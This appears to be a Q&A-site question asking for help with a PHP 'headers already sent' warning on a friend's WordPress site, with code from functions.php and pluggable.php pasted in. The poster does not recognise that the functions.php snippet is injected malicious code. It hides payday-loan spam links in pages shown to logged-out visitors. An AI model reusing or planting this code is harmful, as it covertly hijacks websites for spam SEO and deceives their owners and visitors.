Possible Duplicate:
Headers already sent by PHP
I have been trying to fix the error on playhawaiisoccer.com for a friend of mine. Unforunately, the error is beyond my ability. The error I'm getting is the following:
"Warning: Cannot modify header information - headers already sent by (output started at /home/content/72/8966572/html/wp-content/themes/LeanBiz/functions.php:1) in /home/content/72/8966572/html/wp-includes/pluggable.php on line 865"
If I understand correctly, I'm sending headers a second time in my pluggable.php file. Here's the code from each file. Any help would be greatly appreciated.
Functions.php line 1:
<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);} </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");} function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?>
Pluggable.php line 865:
function wp_redirect($location, $status = 302) {
global $is_IIS;
$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);
if ( !$location ) // allows the wp_redirect filter to cancel a redirect
return false;
$location = wp_sanitize_redirect($location);
if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
status_header($status); // This causes problems on IIS and some FastCGI setups
header("Location: $location", true, $status);}
Thanks in advance for any help!